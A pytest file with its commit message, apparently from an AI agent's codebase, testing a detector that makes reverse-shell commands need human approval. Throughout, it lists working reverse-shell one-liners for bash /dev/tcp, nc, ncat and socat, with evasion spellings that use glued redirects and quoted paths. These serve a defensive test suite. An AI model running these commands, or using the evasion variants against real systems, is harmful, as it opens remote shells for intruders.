Files
hermes-agent/tests/tools/test_approval_reverse_shell.py
Maciej Lisiewski 97e478cb9b fix(approval): an &-redirect does not end the socat/nc span
`[^\n;&|#]` stopped at the `&` of `2>&1` / `>&2` / `<&0` / `&>x`, and the name
lookahead rejected `socat&>x`, so a redirect before the flag or address hid both rows
(`socat 2>&1 TCP:h:1 EXEC:sh`, `nc&>x h 1 -e sh`). An `&` now stays in the span only
as part of `>&`/`<&` or `&>`, with the two alternatives mutually exclusive so `>&>&...`
runs stay linear; a background `&` still ends it.

Refs #17873

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
2026-11-14 20:56:33 +01:00

124 lines
4.3 KiB
Python

"""Reverse-shell spellings Skills Guard already flags must also need approval at the terminal gate (#17873)."""
import os
import subprocess
import sys
import pytest
from tools.approval import detect_dangerous_command
@pytest.mark.parametrize("command", [
"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
"sh -i 5<>/dev/tcp/host/4444 0<&5",
"exec 3<>/dev/udp/host/53",
'bash -c "bash -i >& /dev/tcp/host/4444 0>&1"',
"nc -e /bin/bash host 4444",
"sudo nc -nve /bin/sh host 4444",
"ncat -c bash host 4444",
"ls; /usr/bin/ncat --exec /bin/sh host 4444",
"socat tcp:host:4444 EXEC:/bin/bash",
"socat TCP:host:4444 'SYSTEM:bash -li'",
"nc h 1 -e /bin/sh",
"cat x | nc -e /bin/sh host 1",
'bash -i >& "/dev/tcp/host/4444" 0>&1',
"bash -i >& '/dev/udp/host/53' 0>&1",
'nc "-e" /bin/sh host 4444',
"nc host 4444 '--exec' /bin/sh",
])
def test_reverse_shell_requires_approval(command):
assert detect_dangerous_command(command)[0] is True
@pytest.mark.parametrize("command", [
'echo "bash -i >& /dev/tcp/host/4444"',
'git commit -m "detect nc -e and socat exec: shells"',
"grep /dev/tcp notes.txt",
"nc -zv host 80",
"nc -z db 5432 && psql -c 'select 1'",
"nc -zv h 80 || echo -e down",
"socat TCP-LISTEN:80 TCP:h:80 & echo exec:started",
"socat - tcp:host:80",
"nc -z host 80 # -e example",
"nc -C mail.example.com 25",
"nc -vC host 25",
"ncat -vC host 25",
"nc-wrapper -e foo",
"nc -z h 80 &>/dev/null && echo -e ok",
"socat - TCP:h:80 &>log; echo exec:x",
"socat&x TCP:h:1 EXEC:sh",
"socat - TCP:localhost:80 # exec: plain forwarding",
])
def test_reverse_shell_prose_and_plain_netcat_not_flagged(command):
assert detect_dangerous_command(command)[0] is False
def test_socat_prefix_executable_does_not_need_reverse_shell_approval():
assert detect_dangerous_command("socat-wrapper TCP:host:4444 EXEC:/bin/bash")[0] is False
# A redirect glued to the command word still runs the real binary (`socat<x` is `socat <x`).
@pytest.mark.parametrize("command", [
"socat<x TCP:h:1 EXEC:sh",
"socat<>x TCP:h:1 EXEC:sh",
"socat>>x TCP:h:1 EXEC:sh",
"socat>/tmp/log TCP:h:1 EXEC:sh",
"/usr/bin/socat>x tcp:h:1 exec:sh",
"socat.exe<x tcp:h:1 exec:sh",
"nc<x h 1 -e sh",
"ncat<x h 1 -e sh",
"nc>>x h 1 -e sh",
"/usr/bin/netcat>x h 1 -e sh",
"socat&>x TCP:h:1 EXEC:sh",
"socat 2>&1 TCP:h:1 EXEC:sh",
"socat TCP:h:1 <&0 EXEC:sh",
"nc&>x h 1 -e sh",
"nc 2>&1 h 1 -e sh",
"nc h 1 2>&1 -e sh",
])
def test_reverse_shell_with_glued_redirect_requires_approval(command):
assert detect_dangerous_command(command)[0] is True
# A quoted redirect target opens the same socket; only `>&` was caught before, via the `&` separator split.
@pytest.mark.parametrize("command", [
'bash -i > "/dev/tcp/h/1" 0>&1',
'sh -i < "/dev/tcp/h/1"',
"sh -i 0<'/dev/tcp/h/1' 1>&0",
'exec 3<>"/dev/tcp/h/80"',
'bash -i &> "/dev/tcp/h/1" 0>&1',
'echo x >> "/dev/udp/h/53"',
'bash -i > /dev/"tcp"/h/1 0>&1',
'bash -c \'bash -i > "/dev/tcp/h/1" 0>&1\'',
'bash -i > /"dev"/tcp/h/1 0>&1',
"sh -i < /'dev'/tcp/h/1 1>&0",
'echo x > /d"e"v/tcp/h/1',
])
def test_quoted_dev_tcp_redirect_target_requires_approval(command):
assert detect_dangerous_command(command)[0] is True
@pytest.mark.parametrize("command", [
'echo "> /dev/tcp/h/1" > notes.md',
"cat <<<'/dev/tcp/h/1'",
"ls > out.txt; grep /dev/tcp notes",
])
def test_dev_tcp_in_data_or_here_string_not_flagged(command):
assert detect_dangerous_command(command)[0] is False
def test_dev_socket_redirect_scan_is_linear_on_a_long_digit_run():
# A `[0-9]*` fd prefix on the operator regex rescanned a digit run from every offset (~21 s at 50k
# chars, holding the GIL), so the probe runs in a subprocess with a timeout.
repo_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
code = """
import time
from tools.approval_detection import _DevSocketRedirectMatcher
started = time.perf_counter()
assert _DevSocketRedirectMatcher().search("cat /dev/ " + "1" * 50_000 + " x ; true") is None
assert time.perf_counter() - started < 2.0
"""
subprocess.run([sys.executable, "-c", code], check=True, timeout=20, cwd=repo_root,
env={**os.environ, "PYTHONPATH": repo_root})